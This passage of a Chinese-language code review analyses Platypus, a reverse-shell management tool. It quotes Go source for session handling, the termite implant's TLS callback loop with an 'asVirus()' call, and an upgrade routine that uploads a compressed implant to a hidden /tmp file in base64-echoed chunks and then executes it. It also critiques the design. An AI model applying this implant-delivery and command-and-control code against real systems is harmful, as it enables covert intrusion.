		log.Error("Duplicated income connection detected!")
		s.NotifyWebSocketDuplicateTCPClient(client)
		client.Close()
	} else {
		log.Success("Fire in the hole: %s", client.OnelineDesc())
		s.Clients[client.Hash] = client
		s.NotifyWebSocketOnlineTCPClient(client)
	}
}

  对于 nc shell,就是把这个连接记录到 TCP 监听器的 Clients 里面。再看 termite shell 的相关代码,先是 GatherClientInfo 函数:

func (c *TermiteClient) GatherClientInfo(hashFormat string) bool {
	log.Info("Gathering information from termite client...")

	c.LockAtom()
	defer c.UnlockAtom()

	// 要求 termite 收集靶机信息
    
	// Send gather info request
	err := c.Send(message.Message{
		Type: message.GET_CLIENT_INFO,
		Body: message.BodyGetClientInfo{},
	})

	if err != nil {
		// Network
		log.Error("Network error: %s", err)
		return false
	}

	// Read client response
	msg := message.Message{}
	c.Recv(&msg)

	if err != nil {
		log.Error("%s", err)
		return false
	}

	// 收集到的信息包括 OS、用户、网络等
	if msg.Type == message.CLIENT_INFO {
		if msg.Body != nil {
			clientInfo := msg.Body.(*message.BodyClientInfo)
			c.Version = clientInfo.Version
			log.Info("Client version: v%s", c.Version)
			c.OS = oss.Parse(clientInfo.OS)
			c.User = clientInfo.User
			c.Python2 = clientInfo.Python2
			c.Python3 = clientInfo.Python3
			c.NetworkInterfaces = clientInfo.NetworkInterfaces
			c.Hash = c.makeHash(hashFormat)
			if semver.Compare(fmt.Sprintf("v%s", update.Version), fmt.Sprintf("v%s", c.Version)) > 0 {
				// Termite needs up to date
				c.Send(message.Message{
					Type: message.UPDATE,
					Body: message.BodyUpdate{
						DistributorURL: Ctx.Distributor.Url,
						Version:        update.Version,
					},
				})
				return false
			}

			// 保存到 sqlite3 数据库中
			Models.CreateAccess(&Models.Access{
				Host:      c.Host,
				Port:      c.Port,
				Hash:      c.Hash,
				TimeStamp: c.TimeStamp,
				User:      c.User,
				OS:        c.OS,
			})

			return true
		} else {
			log.Error("Client sent empty client info body: %v", msg)
			return false
		}
	} else {
		log.Error("Client sent unexpected message type: %v", msg)
		return false
	}
}

  从上面的代码,我们可以看到,termite 通讯报文由 TypeBody 组成,这里报文的 TypeGET_CLIENT_INFO。至于具体有哪些可用的 Type,我们以后再讨论。

  收集完信息之后,会调用 s.AddTermiteClient() 将其加入 TCP 监听器的 TermiteClients 列表。代码如下:

func (s *TCPServer) AddTermiteClient(client *TermiteClient) {
	client.GroupDispatch = s.GroupDispatch
	if _, exists := s.TermiteClients[client.Hash]; exists {
		log.Error("Duplicated income connection detected!")

		// Respond to termite client that the client is duplicated
		err := client.Send(message.Message{
			Type: message.DUPLICATED_CLIENT,
			Body: message.BodyDuplicateClient{},
		})

		if err != nil {
			// TODO: handle network error
			log.Error("Network error: %s", err)
		}

		s.NotifyWebSocketDuplicateTermiteClient(client)
		client.Close()
	} else {
		log.Success("Encrypted fire in the hole: %s", client.OnelineDesc())
		s.TermiteClients[client.Hash] = client
		s.NotifyWebSocketOnlineTermiteClient(client)
		// Message Dispatcher
		go func(client *TermiteClient) { TermiteMessageDispatcher(client) }(client)
	}
}

  这部分逻辑与 nc shell 差异不大。主要区别是会启动一个 goroutine,执行 TermiteMessageDispatcher(client)

server 侧的 termite 通讯协议实现

  跟进 TermiteMessageDispatcher()。这个函数在 server 侧实现了 termite 通讯报文处理,很长,我们分段阅读:

for {
		msg := message.Message{}
		// Read message
		err := client.Recv(&msg)

		if err != nil {
			log.Error("Read from client %s failed", client.OnelineDesc())
			Ctx.DeleteTermiteClient(client)
			break
		}

		var key string
		switch msg.Type {

  这是循环读取 termite 发来的消息。每次收到一条消息,就分类讨论 Type,进行处理。

		case message.STDIO:
			key = msg.Body.(*message.BodyStdio).Key
			if process, exists := client.processes[key]; exists {
				if process.WebSocket != nil {
					process.WebSocket.WriteBinary([]byte("0" + string(msg.Body.(*message.BodyStdio).Data)))
				} else {
					os.Stdout.Write(msg.Body.(*message.BodyStdio).Data)
				}
			} else {
				log.Debug("No such key: %s", key)
			}

  如果消息类型是 STDIO,则把消息转发给 key 对应的 websocket,即转发给线上终端。

		case message.PROCESS_STARTED:
			key = msg.Body.(*message.BodyProcessStarted).Key
			if process, exists := client.processes[key]; exists {
				process.Pid = msg.Body.(*message.BodyProcessStarted).Pid
				process.State = started
				log.Success("Process (%d) started", process.Pid)
				if process.WebSocket != nil {
					client.currentProcessKey = key
				}
			} else {
				log.Debug("No such key: %s", key)
			}

  若消息类型为 PROCESS_STARTED,则报告子 shell 创建成功。

		case message.PROCESS_STOPED:
			key = msg.Body.(*message.BodyProcessStoped).Key
			if process, exists := client.processes[key]; exists {
				code := msg.Body.(*message.BodyProcessStoped).Code
				process.State = terminated
				delete(client.processes, key)
				log.Error("Process (%d) stop: %d", process.Pid, code)
				// Close websocket when the process stoped
				if process.WebSocket != nil {
					process.WebSocket.Close()
					client.currentProcessKey = ""
				}
			} else {
				log.Debug("No such key: %s", key)
			}

  若消息类型为 PROCESS_STOPED,则报告子 shell 退出。这个 switch 接下来的代码都是此类处理,不再详述。

💡
这里大量复制粘贴 No such key 的错误处理,似乎也欠妥。理应统一处理。另外,如此大的 switch 不如改为去调用 handler_list[messageType](),而把各种消息类型的处理函数注册进 handler_list 这个表。这样代码更清晰。

nc shell 升级为 termite

  我们已经分析完了 nc shell、termite 与服务器的通讯过程。现在,来看如何把一个 nc shell 升级成 termite。本文的第一章节讨论了三种做法,Playtpus 采用了第二种:多次交互以拼接文件。

  代码如下:

func (c *TCPClient) UpgradeToTermite(connectBackHostPort string) {
	if c.OS == oss.Windows {
		// TODO: Windows Upgrade
		log.Error("Upgrade to Termite on Windows client is not supported")
		return
	}

	// Step 0: Generate temp folder and filename
	dir, filename, err := compiler.GenerateDirFilename()
	if err != nil {
		log.Error(fmt.Sprint(err))
		return
	}
	defer os.RemoveAll(dir)

	// 生成一个 termite 可执行文件,我们上文已经分析过生成方法
    
	// Step 1: Generate Termite from Assets
	c.NotifyWebSocketCompilingTermite(0)
	err = compiler.BuildTermiteFromPrebuildAssets(filename, connectBackHostPort)
	if err != nil {
		c.NotifyWebSocketCompilingTermite(-1)
	} else {
		c.NotifyWebSocketCompilingTermite(100)
	}

	// upx 压缩
    
	// Step 2: Upx compression
	c.NotifyWebSocketCompressingTermite(0)
	if !compiler.Compress(filename) {
		c.NotifyWebSocketCompressingTermite(-1)
	} else {
		c.NotifyWebSocketCompressingTermite(100)
	}

	// 上传到 /tmp 目录

	// Upload Termite Binary
	dst := fmt.Sprintf("/tmp/.%s", str.RandomString(0x10))
	if !c.Upload(filename, dst, true) {
		log.Error("Upload failed")
		return
	}

	// chmod +x 并执行

	// Execute Termite Binary
	// On Ubuntu Server 20.04.2 TencentCloud, the chmod binary is stored at
	// /bin/chmod. This would cause the execution of termite failed. So we
	// use the relative command `chmod` instead of `/usr/bin/chmod`
	c.SystemToken(fmt.Sprintf("chmod +x %s && %s", dst, dst))
}

  这里逻辑很清晰:先构建 termite 可执行文件,再上传,最后执行。主要看上传逻辑:

func (c *TCPClient) Upload(src string, dst string, broadcast bool) bool {
	// Check existance of remote path
	dstExists, err := c.FileExists(dst)
	if err != nil {
		log.Error(err.Error())
		return false
	}

	if dstExists {
		log.Error("The target path is occupied, please select another destination")
		return false
	}

	// Read local file content
	content, err := ioutil.ReadFile(src)
	if err != nil {
		log.Error(err.Error())
		return false
	}

	log.Info("Uploading %s to %s", src, dst)
    
    // 读入了文件内容,开始上传

	// 1k Segment
	segmentSize := 0x1000

	bytesSent := 0
	totalBytes := len(content)

	// UI 更新上传进度
	c.NotifyWebSocketUploadingTermite(bytesSent, totalBytes)

	segments := totalBytes / segmentSize
	overflowedBytes := totalBytes - segments*segmentSize

	p := mpb.New(
		mpb.WithWidth(64),
	)

	bar := p.Add(int64(totalBytes), mpb.NewBarFiller("[=>-|"),
		mpb.PrependDecorators(
			decor.CountersKibiByte("% .2f / % .2f"),
		),
		mpb.AppendDecorators(
			decor.EwmaETA(decor.ET_STYLE_HHMMSS, 60),
			decor.Name(" ] "),
			decor.EwmaSpeed(decor.UnitKB, "% .2f", 60),
		),
	)

	// 以 base64 编码连续写入文件,每次 16KB

	// Firstly, use redirect `>` to create file, and write the overflowed bytes
	start := time.Now()
	c.SystemToken(fmt.Sprintf(
		"echo %s| base64 -d > %s",
		base64.StdEncoding.EncodeToString(content[0:overflowedBytes]),
		dst,
	))

	bar.IncrBy(overflowedBytes)

	bytesSent += overflowedBytes
	c.NotifyWebSocketUploadingTermite(bytesSent, totalBytes)

	bar.DecoratorEwmaUpdate(time.Since(start))

	// Secondly, use `>>` to append all segments left except the final one
	for i := 0; i < segments; i++ {
		start = time.Now()
		c.SystemToken(fmt.Sprintf(
			"echo %s| base64 -d >> %s",
			base64.StdEncoding.EncodeToString(content[overflowedBytes+i*segmentSize:overflowedBytes+(i+1)*segmentSize]),
			dst,
		))
		bytesSent += segmentSize
		bar.IncrBy(segmentSize)
		bar.DecoratorEwmaUpdate(time.Since(start))

		if broadcast && i%0x10 == 0 {
			c.NotifyWebSocketUploadingTermite(bytesSent, totalBytes)
		}
	}
	p.Wait()
	c.NotifyWebSocketUploadingTermite(bytesSent, totalBytes)
	return true
}

  总结一句:连续写入文件,每次写 16KB,用 base64 编码传输。

💡
这个设计欠妥。Platypus 只提供了这一种方式,但 alpine docker 镜像里面是不自带 base64 的。不该假设靶机上有 base64。
另,这个方法很慢。termite 文件在压缩后仍有 4.6M,需要交互近 300 轮才能完成上传。
更好的设计:提供多种上传 termite payload 的方式供用户选择。

  以上,我们分析完了 Platypus 服务器的主要代码。下面该分析 termite 了。

termite shell

  这是高级 shell,自带很多功能。由于是 Golang 编写的,它无需依赖 libc 等动态库,能在各种场景下使用。

  先看 main 函数:

func main() {
	release := true
	endpoint := "127.0.0.1:13337"

	if release {
		endpoint = strings.Trim("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xxxxx", " ")
		asVirus()
	}

	message.RegisterGob()
	backoff = createBackOff()
	processes = map[string]*termiteProcess{}
	pullTunnels = map[string]*net.Conn{}
	pushTunnels = map[string]*net.Conn{}

	for {
		log.Info("Termite (v%s) starting...", update.Version)
		if startClient(endpoint) {
			add := (int64(rand.Uint64()) % backoff.Current)
			log.Error("Connect to server failed, sleeping for %d seconds", backoff.Current+add)
			backoff.Sleep(add)
		} else {
			break
		}
	}
}

  这段代码就是不停地尝试连接服务器。跟进 startClient() 函数:

func startClient(service string) bool {
	needRetry := true
    
    
	// 生成 TLS 密钥
	certBuilder := new(strings.Builder)
	keyBuilder := new(strings.Builder)
	crypto.Generate(certBuilder, keyBuilder)

	pemContent := []byte(fmt.Sprint(certBuilder))
	keyContent := []byte(fmt.Sprint(keyBuilder))

	cert, err := tls.X509KeyPair(pemContent, keyContent)
	if err != nil {
		log.Error("server: loadkeys: %s", err)
		return needRetry
	}

	config := tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true}
	if hash.MD5(service) != "4d1bf9fd5962f16f6b4b53a387a6d852" {
		log.Debug("Connecting to: %s", service)
        
        
		// 连接服务器
		conn, err := tls.Dial("tcp", service, &config)
		if err != nil {
			log.Error("client: dial: %s", err)
			return needRetry
		}
		defer conn.Close()

		state := conn.ConnectionState()
		for _, v := range state.PeerCertificates {
			x509.MarshalPKIXPublicKey(v.PublicKey)
		}

		log.Success("Secure connection established on %s", conn.RemoteAddr())

		c := &client{
			Conn:        conn,
			Encoder:     gob.NewEncoder(conn),
			Decoder:     gob.NewDecoder(conn),
			EncoderLock: &sync.Mutex{},
			DecoderLock: &sync.Mutex{},
			Service:     service,
		}
		handleConnection(c)
		return needRetry
	}
	return !needRetry
}

  上面的代码建立了 TLS 连接,并把控制流交给 handleConnection() 函数。看看 handleConnection() 的实现:

func handleConnection(c *client) {
	oldbackOffCurrent := backoff.Current

	for {
		msg := &message.Message{}
		c.DecoderLock.Lock()
		err := c.Decoder.Decode(msg)
		c.DecoderLock.Unlock()
		if err != nil {
			// Network
			log.Error("Network error: %s", err)
			break
		}
		backoff.Reset()
		switch msg.Type {

  这个逻辑和 server 侧的协议解析非常相似。接下来也是一个超级大 switch,不再赘述。

观后感

  Platypus 是一个比较成功的平台。在线下 pentest 赛场上,我们看到很多队伍没有这样的工具,只能用 metasploit 互相弹 shell,深感 Platypus 使用之便捷。

  然而,从设计的角度讲,Platypus 有一些不足。最大的问题在于 termite 试图做的事情太多了。很多功能(例如端口转发)是不能在 Web UI 上用的,只能在命令行模式下用。这些高级功能完全可以上传独立的程序来做,没有必要打包进 termite。另外,有许多功能的实现方法是固定的(例如升级 nc shell 只能通过连续交互拼接文件),扩展性较差。